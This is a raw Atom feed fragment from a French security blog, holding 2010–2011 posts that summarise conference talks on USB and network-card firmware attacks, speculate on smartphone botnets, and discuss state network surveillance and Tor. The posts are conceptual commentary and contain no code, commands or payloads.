href='http://exploitability.blogspot.com/2011/01/sourceforgenet-passwords-reset.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2070910197203681696'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2070910197203681696'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/01/sourceforgenet-passwords-reset.html' title='Sourceforge.net passwords reset - maintenant, vous pouvez vraiment hurler'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-610071752831947921</id><published>2011-01-21T15:56:00.003+01:00</published><updated>2011-01-21T16:39:46.721+01:00</updated><title type='text'>USB m'a tuer</title><content type='html'>L'&lt;a href="http://en.wikipedia.org/wiki/Universal_Serial_Bus"&gt;USB&lt;/a&gt; est une prise et un protocole de communication largement répandue qui se fait attaquer. Cette prise permet de connecter à peu près n'importe quel équipement à n'importe quel système (&lt;a href="http://www.kernel.org/"&gt;OS&lt;/a&gt; &lt;a href="http://www.apple.com/"&gt;grands&lt;/a&gt; &lt;a href="http://www.kernel.org/"&gt;publics&lt;/a&gt;, ou &lt;a href="http://fr.wikipedia.org/wiki/Ordiphone"&gt;smartphones&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;La conférence &lt;a href="http://www.blackhat.com/html/bh-dc-11/bh-dc-11-briefings.html"&gt;blackhat&lt;/a&gt; propose deux conférences intéressantes ou l'USB permet de prendre le contrôle de machines. La première, de Jon Larimer intitulée "&lt;span style="font-style: italic;"&gt;Beyond AutoRun: Exploiting software vulnerabilities with removable storage&lt;/span&gt;". Cela parle de Stuxnet (encore une fois), mais présente un moyen de délocker un poste linux verrouillé. Morceau choisi: "&lt;span style="font-style: italic;"&gt;There’s a lot of code that runs between the USB drivers themselves and  the desktop software that renders icons and thumbnails for documents,  providing security researchers and hackers with a rich set of targets to  exploit.&lt;/span&gt;". A suivre, donc.&lt;br /&gt;Une seconde conférence propose un moyen original de prendre le contrôle de votre machine via l'USB et un smartphone piégé. Conférence de "Angelos Stavrou, Zhaohui Wang", "&lt;span style="font-style: italic;"&gt;Exploiting Smart-Phone USB Connectivity For Fun And Profit&lt;/span&gt;". L'idée est originale et assez efficace. Il faut savoir que lors de la connexion à la prise USB, les périphériques se font reconnaître, comme support de stockage, hub USB, clavier, etc... Rien n'empêche un périphérique de se faire passer pour une souris et un clavier afin de pouvoir agir directement sur la session de l'attaqué! Sous windows, il y a une courte infobulle informant de l'ajout de ces périphériques, sous Mac un pop-up apparaît, mais il est possible pour l'attaquant de le fermer, et sous linux, il n'y a aucun warning[1]. Owned!&lt;br /&gt;&lt;br /&gt;On constate de plus que le &lt;a href="http://esec-lab.sogeti.com/dotclear/index.php"&gt;laboratoire SOGETI/ESEC&lt;/a&gt; recrute (entre autre) un stagiaire pour : "&lt;span style="font-style: italic;"&gt;Malicious hardware and USB: the purpose is to study the USB protocol and  use it on a device (e.g. FPGA) to compromise a target host (Windows,  MacOS X, Linux, iOS, Android)&lt;/span&gt;". On imagine facilement l'idée derrière, obtenir un périphérique capable de fournir des réponses choisies (malicieuses) lors de la discussion USB qui s'instaure à la connexion de ce périphérique.&lt;br /&gt;&lt;br /&gt;L'USB est déjà un vecteur d'insécurité largement généralisé du fait des infections par clés USB qui permettent de transporter les virus. Mais une nouvelle famille de failles est peut-être encore à découvrir, attaquant directement le protocole USB lui-même.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] Ceci dit, le magazine &lt;a href="http://www.unixgarden.com/index.php/news/misc-n%C2%B050-juilletaout-2010-chez-votre-marchand-de-journaux"&gt;MISC n°50&lt;/a&gt; proposait un article implémentant un pare-feu USB sous linux.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-610071752831947921?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/610071752831947921/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/01/usb-ma-tuer.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/610071752831947921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/610071752831947921'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/01/usb-ma-tuer.html' title='USB m&apos;a tuer'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-8690369681849937072</id><published>2011-01-19T13:17:00.002+01:00</published><updated>2011-01-19T14:09:19.978+01:00</updated><title type='text'>Les posts auxquels vous avez échappé</title><content type='html'>Bloguer demande une rigueur d'écriture et certains billets ne sont donc pas publiés.&lt;br /&gt;Les raisons en sont multiples. La principale est souvent liée au temps nécessaire à son écriture. Une bonne idée n'est pas forcément un bon article s'il n'est pas étayé par des références fiables et s'il n'a pas eu plusieurs relectures. Mais ces idées ne gagnent rien non plus à rester dans ce statut.&lt;br /&gt;Voici donc une liste des posts auxquels vous avez échappés, cela videra une partie de mon stock de brouillons :)&lt;br /&gt;&lt;br /&gt;Le plus ancien date de juin 2009, la parution &lt;a href="http://sid.rstack.org/blog/index.php/358-zf05-thoughts"&gt;de&lt;/a&gt; &lt;a href="http://attrition.org/misc/ee/zf05.txt"&gt;zf05&lt;/a&gt; a permis de se rendre compte que l'hébergement mutualisé est un gros FAIL en terme de sécurité. En lisant ce zf05.txt on se rend compte que les personnes visés utilisaient leur hébergeur mutualisé pour héberger aussi des données privées. Un mutualisé ne devrait servir qu'a placer des données publiques comme un blog. Donc FAIL de l'hébergeur, ou FAIL de celui qui y place ses données privées?&lt;br /&gt;&lt;br /&gt;Un autre post qui a été repris plusieurs fois concerne les tunnels DNS. On sait comment ça fonctionne, et comme tout à été à peu près dit dessus, à quoi bon revenir une fois de plus. De plus, j'ai lu &lt;a href="http://www.daemon.be/maarten/dnstunnel.html"&gt;http://www.daemon.be/maarten/dnstunnel.html&lt;/a&gt; (la page semble down en ce moment). Que dire de plus sinon paraphraser cet article? Donc brouillon, avec quantité de liens comme des tunnel DNS brokers, et autres analyses de débits de ces tunnels, etc etc..&lt;br /&gt;&lt;br /&gt;Une analyse réseau d'une capture d'une centaine de Mo avait commencée de manière amusante car dans les premiers paquets apparaissait une recherche google sur les mots clés "&lt;span style="font-style: italic;"&gt;on peut être féminine et poutrer du zombie&lt;/span&gt;" (mais qui cherche ça?).&lt;br /&gt;Analyser des .pcap de cette taille, c'est long et ennuyeux, surtout que le reste de la capture était vide d'intérêt; pas de virus, pas de troyens, pas de données curieuses, rien. tshark permet facilement de réduire les données d'entrées. Je devais réordonner les one-liner tshark et les diffuser quelque part. La seule option manquante est l'extraction complète des fichiers échangés en HTTP en une passe. Wireshark permet de le faire fichier par fichier, mais apparemment rien n'existe de manière globale. Je pensais bloguer sur cette analyse, mais mis à part pour dire que la majorité des utilisateurs surfent en HTTP et que de fait &lt;a href="http://codebutler.github.com/firesheep/"&gt;firesheep&lt;/a&gt; a encore de beaux jours devant lui, il n'y avait hélas pas grand chose.. (et puis &lt;a href="http://exploitability.blogspot.com/2010/07/tcpip-security-is-boring.html"&gt;la sécurité réseau est ennuyeuse&lt;/a&gt;, alors..)&lt;br /&gt;&lt;br /&gt;Certains messages de &lt;a href="http://bluetouff.com/"&gt;bluetouff&lt;/a&gt; m'avaient amené à creuser les questions sur le &lt;a href="http://en.wikipedia.org/wiki/Deep_packet_inspection"&gt;DPI&lt;/a&gt; en cœur de réseau opérateur. En regardant chez &lt;a href="http://blogs.orange-business.com/securite/"&gt;Orange&lt;/a&gt;, on apprend que ce genre d'équipement existe déjà et sert à &lt;a href="http://blogs.orange-business.com/securite/2010/11/les-5-minutes-du-professeur-audenard---episode-3-cleanpipe-bgp-et-gre.html"&gt;protéger des clients&lt;/a&gt; de &lt;a href="http://blogs.orange-business.com/securite/2010/09/cartographier-un-botnet-via-googlemaps.html"&gt;DDoS&lt;/a&gt; (mais ne donnait pas d'ordres de grandeur). Le dernier DDoS chiffré à l'époque de l'article était celui de &lt;a href="http://mirror.wikileaks.info/"&gt;wikileaks&lt;/a&gt;, 10Gb/s. J'en conclus donc que les équipements de DPI existent déjà, et filtrent au minimum à cette vitesse (les équipements sérieux s'entend, je ne sais pas si &lt;a href="http://l7-filter.clearfoundation.com/"&gt;l7filter&lt;/a&gt; arrive à ce débit :) ).&lt;br /&gt;Le DPI semble une notion assez mal définie ceci dit. Les firewalls ne filtraient à l'&lt;a href="http://www.fwtk.org/ipfwadm/faq/ipfwadm-faq.html"&gt;origine&lt;/a&gt; que des IP/port, puis sont devenus statefulls. Aujourd'hui l'analyse remonte d'un cran pour être applicative. Jusqu'où peut remonter cette analyse? Un firewall bloquant un port nuit il à la liberté d'expression plus ou moins qu'un firewall qui bloque une URL terminant en .exe? Et un firewall DPI protocolaire peut il continuer à remonter, i.e. étudier les fichiers utilisant ce protocole? Intéressant, mais il me faudrait du temps pour rassembler mes notes encore une fois.&lt;br /&gt;Cet article finissait aussi sur la mort du firewall. La sécurité réseau n'intéresse personne, on pose des firewalls de la même manière qu'on pose des antivirus sur des machines windows: "Il en faut". Mais on sait très bien que ça ne bloque pas un seul instant le pirate déterminé. Alors pourquoi en mettre? Il s'agit sans doute de deux idées trop différentes pour en faire un unique post, je reviendrai peut-être la dessus.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mirror.wikileaks.info/"&gt;Wikileaks&lt;/a&gt; devait aussi faire l'objet d'un article. Il s'agit d'un phénomène intéressant de &lt;a href="http://exploitability.blogspot.com/2009/08/resilience.html"&gt;résilience&lt;/a&gt; de l'information. Je voulais faire le distinguo entre la résilience d'une information et la résilience d'un service. Une information sur internet est facilement résiliente, sa duplication peut se faire à coût nul (ou négligeable) et sa diffusion peut être faite par tout un chacun, ce qui a été le cas pour wikileaks. La résilience d'un service (imaginons twitter ou facebook) est autrement plus compliquée à obtenir.&lt;br /&gt;Un deuxième axe de réflexion sur wikileaks concerne bien évidemment les Denials of Service qui sont complètement sortis de la sphère "&lt;a href="http://news0ft.blogspot.com/2010/12/cyberwar-aftermath.html"&gt;cyber&lt;/a&gt;" pour se propager dans le monde réel.&lt;br /&gt;&lt;br /&gt;Voilà quelques posts qui n'ont jamais été terminé. J'aurais également souhaité rencontrer un juriste pour parler de LOPPSI2 et des intrusions informatiques "légales", mais l'emploi du temps ne me l'a pas permis.&lt;br /&gt;&lt;br /&gt;Certains autres brouillons devraient eux se retrouver bientôt en message de blog.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-8690369681849937072?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/8690369681849937072/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/01/les-posts-auxquels-vous-avez-echappe.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8690369681849937072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/8690369681849937072'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/01/les-posts-auxquels-vous-avez-echappe.html' title='Les posts auxquels vous avez échappé'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2428687196725454537</id><published>2010-12-31T09:24:00.005+01:00</published><updated>2010-12-31T10:06:41.885+01:00</updated><title type='text'>Perspectives ou rétrospectives :)</title><content type='html'>En ces jours de fin d'année, il est courant de lire différentes prospectives sur des sites et blogs parlant de sécurité informatique.&lt;br /&gt;&lt;br /&gt;Mais il arrive parfois que les prospectives se révèlent vraies un peu trop vite, et c'est ce qui m'arrive. Je reprends un ancien brouillon de blog ou je préconisais l'arrivée de botnet spécialisés dans les smartphones. Apparemment, cette perspective devient rétrospective car ce botnet existe, il touche les plateformes Android et il s'appelle &lt;a href="http://www.google.fr/search?q=Geinimi"&gt;Geinimi&lt;/a&gt;. Le premier site à l'avoir analysé serait &lt;a href="http://blog.mylookout.com/2010/12/geinimi_trojan/"&gt;lookout&lt;/a&gt;. Pour moi, la sécurité des smartphones deviendra de plus en plus prégnantes.&lt;br /&gt;&lt;br /&gt;Dans le domaine de la sécurité des smartphones, le risque qui revient systématiquement, c'est le "&lt;span style="font-style: italic;"&gt;vol des informations personnelles&lt;/span&gt;", sans plus de précisions. A croire que votre score à bubble blast est ultra confidentiel. Plus sérieusement, ce risque existe, mais n'a rien de neuf puisqu'étant le même sur ordinateur qui lui aussi contient des informations personnelles. Je pense que l'on va vers de nouveaux risques avec ces botnets sur smartphones, nouveaux risques dont on entend peu parler.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le premier est lié au téléphone et au DoS. Depuis wikileaks, on sait que les DoS ne sont plus qu'envois massifs de paquets, mais peuvent aussi être coupure des services du monde réel (banque par exemple). Comment réagir face à un botnet qui passe son temps à appeler par voie téléphonique le siège d'une entreprise?&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Le second est peu ou prou lié. On observe de plus en plus de jeu ou il faut voter par SMS. Je pense que l'on va bientôt voir apparaître des services vaguement underground qui proposeront des envois massifs de SMS contre rétribution. Retour sur investissement immédiat. 10 euros les 1000 SMS afin que la star machin gagne une place au classement du jeu télé truc.&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Le dernier va devenir par contre très ennuyeux. Le &lt;a href="http://en.wikipedia.org/wiki/Near_field_communication"&gt;Near Field Communication&lt;/a&gt; va bientôt permettre de &lt;a href="http://en.wikipedia.org/wiki/Mobile_payment"&gt;payer,&lt;/a&gt; énormément de monde montre &lt;a href="http://news.google.fr/news/search?q=nfc"&gt;son intêret en ce domaine&lt;/a&gt;.. Et lorsque votre téléphone sera trojanisé, que pourra faire un botmaster? Cela est à mon sens le plus gros risque des vers/virus/troyens et bots sur smartphones. Tous les attaquants ne sont pas uniquement ludique à la 4chan ou terroristes à la Stuxnet, certains sont bien évidemment cupides. Et là, c'est un accès direct au but. Inutile de passer par des mules avec des structures complexes, c'est du profit immédiat.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Espérons que cette perspective ne se réalisera pas, et pour 2011 have fun (and profit!) :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2428687196725454537?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2428687196725454537/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/12/perspectives-ou-retrospectives.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2428687196725454537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2428687196725454537'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/12/perspectives-ou-retrospectives.html' title='Perspectives ou rétrospectives :)'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3224382967962018471</id><published>2010-12-08T15:30:00.006+01:00</published><updated>2010-12-08T16:31:53.351+01:00</updated><title type='text'>Papa, il y a la DCRI qui regarde dans mon ordinateur :-(</title><content type='html'>Le journal "&lt;a href="http://www.lecanardenchaine.fr/une4700.html"&gt;Le canard enchaîné&lt;/a&gt;" de la semaine dernière nous gratifie d'une révélation: La &lt;a href="http://fr.wikipedia.org/wiki/Direction_centrale_du_Renseignement_int%C3%A9rieur"&gt;DCRI&lt;/a&gt; inspecte nos machines à distances.&lt;br /&gt;L'article  est bref et n'apporte que peu d'informations techniques. Selon le  canard, des personnels de la DCRI demanderaient aux FAI l'adresse (IP, vraisemblablement) d'un  abonné et irait faire des cyber-écoutes secrètes dans les flux de  l'abonné.&lt;br /&gt;&lt;br /&gt;Léger flou dans l'article (qu'on retrouve sur pas mal de  sites de presse on-line), le mélange entre la consultation du contenu de  la machine de l'abonné et la consultation de ses flux réseaux. Avec le peu  d'info de l'article, je pense qu'il s'agit d'écoutes sur les flux de  l'abonné et non de &lt;span style="font-style: italic;"&gt;cyber-perquisitions&lt;/span&gt;  du disque dur. Je crois assez peu à ces cyber-intrusions. Beaucoup trop compliqué à mettre en oeuvre, et surtout le risque de se faire détecter est sans doute trop grand en rapport des informations qui peuvent être connues.&lt;br /&gt;&lt;br /&gt;Par contre, l'écoute des flux...&lt;br /&gt;La majorité des flux sont encore en clair (HTTP, SMTP, POP, IMAP etc..). &lt;a href="http://www.google.fr/"&gt;Google&lt;/a&gt; essaye de forcer le &lt;a href="http://www.eff.org/deeplinks/2010/05/google-launches-encrypted-search"&gt;HTTPS&lt;/a&gt;, il y a des &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/12714/"&gt;extensions firefox&lt;/a&gt; pour cela, mais le fait est que les gens communiquent à mon avis encore trop en clair. Anecdote, on m'a fourni une analyse tcpdump à faire, le constat est sans appel, si ce n'est google, tout est en clair. Pour cette raison également, &lt;a href="http://codebutler.github.com/firesheep/"&gt;Firesheep&lt;/a&gt; fait peur :-)&lt;br /&gt;Le chiffré est mieux, mais n'est sans doute pas suffisant. Il y a deux ans déjà, au SSTIC, &lt;a href="http://www.sstic.org/media/SSTIC2008/SSTIC-actes/Cryptographie_attaques_tous_azimuts/SSTIC2008-Article-Cryptographie_attaques_tous_azimuts-filiol_raynal_bedrune.pdf"&gt;une conférence&lt;/a&gt; indiquait déjà que la seule connaissance des flux chiffrés permettait de retracer les réseaux sociaux de la personne visée.&lt;br /&gt;&lt;br /&gt;Pour faire bref, si vous avez connaissance des flux d'une personne, il est en effet inutile de tenter une cyber-intrusion. Et si les FAIs fournissent un accès à ce trafic, alors &lt;span style="font-style: italic;"&gt;headshot&lt;/span&gt;, comme disent les gamers.&lt;br /&gt;&lt;br /&gt;A partir du moment ou l'infrastructure n'est pas de confiance, comment communiquer sereinement sur le réseau?&lt;br /&gt;&lt;br /&gt;Une réponse légale? Semble difficile. Un juriste m'a confirmé qu'une écoute réseau n'a rien à voir avec la loi sur les écoutes téléphoniques. Il m'a conseillé de vérifier ce qu'en dit la &lt;a href="http://www.google.fr/search?q=loppsi+site%3Agouv.fr"&gt;LOPPSI&lt;/a&gt;. Cet aspect serait à creuser: un prochain post de blog?&lt;br /&gt;Néanmoins, il faudrait pouvoir prouver que l'écoute à bien lieu. Et là, techniquement, j'ai du mal à imaginer comment prouver qu'un flux est mis sur écoute. Il est possible de planter des fausses URL ou des faux noms de domaines et d'attendre voir si des connexions sont faites. Est-ce toutefois une preuve recevable?&lt;br /&gt;&lt;br /&gt;En défense active, il existe &lt;a href="http://www.torproject.org/"&gt;tor&lt;/a&gt;. Mais tor lancé de chez soi est exposé au même problème que précedemment, i.e. quelqu'un consultant les émissions/réceptions pourrait reconstruire certains volumes de connexions, à corréler avec la réception chez d'autre personne. Il faut que tor envoie des flux arbitraires d'informations afin que ses propres connexions soient noyées en volume à l'intérieur. Pour se faire, on peut se transformer en exit node ou faire tourner des services qui discutent fréquemment sur le réseau; à ce titre, je laisse des clients IRC ouverts car ils génèrent du trafic sur le réseau.&lt;br /&gt;L'autre solution est d'utiliser tor depuis un cybercafé qui &lt;a href="http://sid.rstack.org/blog/index.php/444-insecurity-enforced"&gt;permet ce genre de choses&lt;/a&gt;, ou de trouver des spots wifi &lt;a href="http://fr.wikipedia.org/wiki/Wired_Equivalent_Privacy"&gt;ouverts&lt;/a&gt; en grand.&lt;br /&gt;&lt;br /&gt;Il y a peut-être un truc à inventer, à l'image de la plausible deniability sur le chiffrement de disque, qui serait la plausible deniability en réseau; i.e. qu'un attaquant soit incapable de prouver qu'une communication réseau ait eu lieu.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3224382967962018471?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3224382967962018471/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/12/papa-il-y-la-dcri-qui-regarde-dans-mon.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3224382967962018471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3224382967962018471'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/12/papa-il-y-la-dcri-qui-regarde-dans-mon.html' title='Papa, il y a la DCRI qui regarde dans mon ordinateur :-('/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-9216744008625687691</id><published>2010-11-24T14:42:00.005+01:00</published><updated>2010-11-30T09:31:25.284+01:00</updated><title type='text'>All your NIC belong to us</title><content type='html'>Je viens de lire le compte rendu d'une excellente présentation faite par le labo &lt;a href="http://esec-lab.sogeti.com/dotclear/"&gt;SOGETI/ESEC&lt;/a&gt;. Cette présentation concerne &lt;a href="http://esec-lab.sogeti.com/dotclear/index.php?post/2010/11/21/Presentation-at-Hack.lu-:-Reversing-the-Broacom-NetExtreme-s-firmware"&gt;l'instrumentation à des fins malicieuses d'une carte réseau&lt;/a&gt;: &lt;a href="http://esec-lab.sogeti.com/dotclear/public/publications/10-hack.lu-nicreverse_slides.pdf"&gt;Hack.lu-nicreverse_slides.pdf&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;L'idée est simple et lumineuse: dans une carte réseau, nous avons de l'électronique, dit autrement un CPU et de la mémoire, est il possible de l'instrumenter pour lui faire réaliser des actions arbitraires? La réponse est oui, ce qui est préoccupant. Ce travail est bien évidemment à rapprocher de celui-ci: &lt;a href="http://www.ssi.gouv.fr/IMG/pdf/csw-trustnetworkcard.pdf"&gt;"&lt;span style="font-style: italic;"&gt;Can you still trust your network card&lt;/span&gt;?&lt;/a&gt;", de Y-A Perez, L. Duﬂot, CanSecWest 2010.&lt;br /&gt;&lt;br /&gt;La carte visée est une &lt;a href="http://www.broadcom.com/products/applications/Network-Interface-Cards-%28NICs%29"&gt;Broadcam Ethernet Netxtreme&lt;/a&gt;, présente dans de nombreuses machines de bureaux et portables. Sont présents un (ou deux) CPU Mips, une EEPROM, de la SDRAM et&lt;br /&gt;des registres de configuration. Étant reprogrammable, c'est bien évidemment l'EEPROM qui sert à accueillir le code malveillant. 48ko sont disponibles partageant le code, la stack et le buffer de trames réseaux. L'auteur va donc reprogrammer un firmware "custom" pour cette carte.&lt;br /&gt;&lt;br /&gt;Pour un attaquant, la situation est idéale:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Le code ne sera jamais ausculté par un antivirus/ antirootkit&lt;/li&gt;&lt;li&gt;Le code peut survivre à un reboot&lt;/li&gt;&lt;li&gt;Le code peut lire et/ou modifier tout le trafic de et à destination de l'hôte&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Le code peut lancer un serveur  interagissant avec l'attaquant (lire &lt;a href="http://www.alchemistowl.org/arrigo/Papers/Arrigo-Triulzi-PACSEC08-Project-Maux-II.pdf"&gt;NICssh&lt;/a&gt;, papier très intéressant également, ne manquez pas la bibilo)&lt;/li&gt;&lt;li&gt;Le code est sur le bus PCI. Comme on le sait, qui dit bus PCI dit accès total et inconsidéré à la mémoire (et donc compromission de l'OS hôte en vue)&lt;/li&gt;&lt;li&gt;Aucune confiance ne peut être donnée à un firewall qui ausculterait les trames. En effet elles peuvent passer d'une carte réseau à l'autre sans jamais être vues par l'OS (Pensez au Jedi trick de NICssh!)&lt;/li&gt;&lt;li&gt;Aucune contremesure proposée par l'auteur du papier.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Néanmoins, tout n'est pas encore tout à fait terminé: &lt;span style="font-style: italic;"&gt;Rootkit (still in development)&lt;/span&gt;, et quelques interrogations demeurent.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Pour les capacités rootkits, c'est une évidence. Mais si le rootkit veut interagir avec le système hôte, alors un antirootkit/antivirus pourrait le détecter.&lt;/li&gt;&lt;li&gt;Pour les accès RAM via le bus PCI, il faut qu'aucun mécanisme d'IOMMU ne soit disponible. Ce point n'est pas abordé dans la présentation.&lt;/li&gt;&lt;li&gt;Pour les capacités de serveur permettant à un attaquant distant de se connecter, je veux bien croire que les programmeurs font des miracles avec 48ko, mais l'auteur de NICssh a du mettre à contribution le GPU et la RAM de la carte graphique pour parvenir à ses fins.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;L'interception (et la forge) de paquets est une réalité. Toutefois, j'ose espérer que la majorité des personnes utilisent des protocoles chiffrés. La carte ne verra donc que du chiffré. Ceci permet à l'attaquant de faire des DoS, mais pas de compromettre la confidentialité des données (bien entendu, l'hôte doit avoir le mécanisme de IOMMU sinon la carte n'a qu'a aller lire la donnée en clair dans la RAM.)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Cette présentation a bien évidemment ramené à mon bon souvenir &lt;a href="http://qubes-os.org/Home.html"&gt;Qubes OS&lt;/a&gt; de &lt;a href="http://www.invisiblethingslab.com/itl/Welcome.html"&gt;Invisible Things Labs&lt;/a&gt;. Dans les specs de cet OS, la carte réseau est d'emblée considérée comme compromise ce qui semble être définitivement une bonne idée.&lt;br /&gt;&lt;br /&gt;Pour l'historique, il a aussi existé un rootkit de clavier Mac (toujours le même principe, on a un firmware, un CPU et de la mémoire), NICssh utilise le GPU de la carte graphique, un autre emplacement de rootkit pourrait être le firmware d'un disque dur :-) et &lt;a href="http://blog.ksplice.com/2010/10/hosting-backdoors-in-hardware/"&gt;ksplice&lt;/a&gt; avait montré comment une carte PCI peut modifier le BIOS d'une machine et exécuter du code pendant le boot. La sécurité matérielle a encore des beaux jours devant elle.&lt;br /&gt;&lt;br /&gt;Comment bâtir un schéma de sécurité sur une machine si le matériel n'est pas de confiance? (Non, je ne pense pas au TPM).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;EDIT 30/11/2010&lt;/span&gt;:&lt;br /&gt;Je suis allé directement poser la question sur le blog de l'auteur concernant l'IOMMU.&lt;br /&gt;Sa réponse &lt;a href="http://esec-lab.sogeti.com/dotclear/index.php?post/2010/11/21/Presentation-at-Hack.lu-%3A-Reversing-the-Broacom-NetExtreme-s-firmware#c63"&gt;est disponible ici&lt;/a&gt;. Il fournit de plus un très bon lien vers le blog d'&lt;a href="http://theinvisiblethings.blogspot.com/2010/04/remotely-attacking-network-cards-or-why.html"&gt;invisible things labs&lt;/a&gt; concernant les problématiques de cartes réseaux trojanisées.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-9216744008625687691?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/9216744008625687691/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2010/11/all-your-nic-belong-to-us.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9216744008625687691'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/9216744008625687691'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2010/11/all-your-nic-belong-to-us.html' title='All your NIC belong to us'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-6474692101544766817</id><published>2010-10-28T18:24:00.002+02:00</published><updated>2010-10-28T18:55:29.489+02:00</updated><title type='text'>sniff sniff, ça sent le GSM!</title><content type='html'>C'est un fait connu, l'industrie de la sécurité se penche de plus en plus vers les smartphones (ordiphones selon l'académie) et les communications sans-fils. On entend parler que le GSM est &lt;span style="font-style: italic;"&gt;broken&lt;/span&gt;, et qu'il ne faut plus l'utiliser. Est il réellement 